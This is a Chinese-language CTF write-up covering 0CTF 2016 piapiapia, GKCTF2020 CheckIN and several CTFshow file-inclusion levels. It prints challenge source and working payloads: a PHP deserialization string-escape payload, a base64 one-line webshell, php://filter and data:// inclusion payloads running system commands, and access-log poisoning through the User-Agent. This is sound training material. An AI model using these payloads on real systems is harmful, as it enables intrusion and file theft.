[0CTF 2016]piapiapia
*序列化字符串
*信息泄露
0x01:打开场景
发现是一个登陆界面,没办法登录成功,也没有注册链接,那就现场时扫描一下吧
发现了有备份文件泄露,直接访问www.zip
得到源码文件
class.php
<?php
require('config.php');
class user extends mysql{
private $table = 'users';
}
public function login($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
if ($object && $object->password === md5($password)) {
return true;
} else {
return false;
}
}
public function show_profile($username) {
$username = parent::filter($username);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
public function __tostring() {
return __class__;
}
}
class mysql {
private $link = null;
public function connect($config) {
$this->link = mysql_connect(
$config['hostname'],
$config['username'],
$config['password']
);
mysql_select_db($config['database']);
mysql_query("SET sql_mode='strict_all_tables'");
return $this->link;
}
public function select($table, $where, $ret = '*') {
$sql = "SELECT $ret FROM $table WHERE $where";
$result = mysql_query($sql, $this->link);
return mysql_fetch_object($result);
}
public function insert($table, $key_list, $value_list) {
$key = implode(',', $key_list);
$value = '\'' . implode('\',\'', $value_list) . '\'';
$sql = "INSERT INTO $table ($key) VALUES ($value)";
return mysql_query($sql);
}
public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
public function __tostring() {
return __class__;
}
}
session_start();
$user = new user();
$user->connect($config);
update.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
#对email的格式进行限制
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
#对nickname的长度进行了限制,但是strlen函数可以用数组绕过
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>
config.php
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>
profile.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
0x02:代码审计
由于过于菜鸡 部分借鉴了师傅们的wp 还需继续学习
$_FILES — HTTP 文件上传变量
#config.php 有flag变量但是没有权限读取
$flag = '';
#update.php 有序列化函数
$file = $_FILES['photo'];
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' .md5($file['name']);
$user->update_profile($username,serialize($profile));
#profile.php 有反序列化和文件内容读取函数
#如果能够把$profile['photo']等于config.php这个文件名的话我们就可以读取到$flag变量了
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
#所以逻辑顺序应该是update.php>>profile.php
#因为update.php中运用到了这个函数,所以要继续跟进一下
#parent 返回被选元素的直接父元素。
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
#继续跟进filter方法
#这里出现了正则替换,因为$safe里面有where替换成hacker的时候长度发生变化,但是序列化的属性不会改变,就是可以利用的字符串逃逸
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
因为被序列化的是profile,可以先写一个poc测试nickname
#前面已经分析过了,为了不让nickname收到长度限制,所以nickname要是一个数组
<?php
class profile{
public $nickname=array("config.php");
}
$a=new profile();
echo serialize($a);
//O:7:"profile":1:{s:8:"nickname";a:1:{i:0;s:10:"config.php";}}
#由此可知数组序列化会多出一组{},所以在构造payload的时候,要在替换的字符串后面先加上 `;}` 闭合前面的代表数组的 `{`
因为已知用where
才能达到字符串逃逸的效果,所以要用到where,而逃逸的字符串则要使$profile['photo']=config.php
payload1:
nickname[]='where";}s:5:"photo";s:10:"config.php";}';
而后面要逃逸出来的字符串长度为34,所以要有34个where
payload2:
nickname[]='wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}';
之后抓包,该数据包,再上传就可以发现上传profile成功,
然后点击到界面,F12查看源码,发现photo有base64加密,解码之后得到flag
参考:
[GKCTF2020]CheckIN
*readflag
源码:
<?php
highlight_file(__FILE__);
class ClassName
{
public $code = null;
public $decode = null;
function __construct()
{
$this->code = @$this->x()['Ginkgo'];
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);
}
public function x()
{
return $_REQUEST;
}
}
new ClassName();
0x01:代码审计
#x函数,返回请求方式
public function x()
{
return $_REQUEST;
}
function __construct(){
#参数名为Ginkgo
$this->code = @$this->x()['Ginkgo'];
#参数内容要先base64加密
$this->decode = @base64_decode( $this->code );
#执行代码
@Eval($this->decode);
}
0x02:解题
一般来说,phpinfo里面会有很多内容
那可以先访问一下phpinfo()界面
发现disabled_functions
里面有很多函数,说明很多函数被限制了
常用的system,exec,shell_exec,
可以试着上传一句话木马
?Ginkgo=ZXZhbCgkX1BPU1RbJ2NtZCddKTs=
//eval($_POST['cmd']);
连接成功,发现flag,但是没办法读取
接下去就不会了
0x03:进一步解题
看了网上的wp
原来是readflag是可以运行的,要根据php版本,下载文件修改为执行readflag并上传到/tmp
然后根据一句话木马post传参,在hackbar进行代码执行
cmd=include('/tmp/exploit.php');
//得到flag
CTFSHWO-文件包含
web78
*php://
源码:
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
0x01:
因为没有提醒,但是可以试着访问flag.php
发现存在这个文件
payload:
?file=php://filter/read=convert.base64-encode/resource=flag.php
得到flag.php文件的base64加密内容,解码之后得到flag
web79
*data://
源码:
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
增加了一个字符串替换,直接把php换成了问号,那就不可以用php://
协议了
自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。
执行php代码
payload:
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
//<?php system('cat flag.php');
得到flag
web80
*包含日志文件
源码:
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
没有什么思路,看了网上的wp
包含日志文件,进行getshell
?file=/var/www/html/access.log
然后修改user-agent为php代码,进行执行php代码
得到flag
参考:
web81
源码:
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
过滤了:
依然可以用日志文件注入漏洞
?file=/var/www/html/access.log
然后修改user-agent为php代码,进行执行php代码
web88
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
没有过滤:
,但是要注意过滤了=
可以使用data://
协议
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycgKSA7
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnICApICA7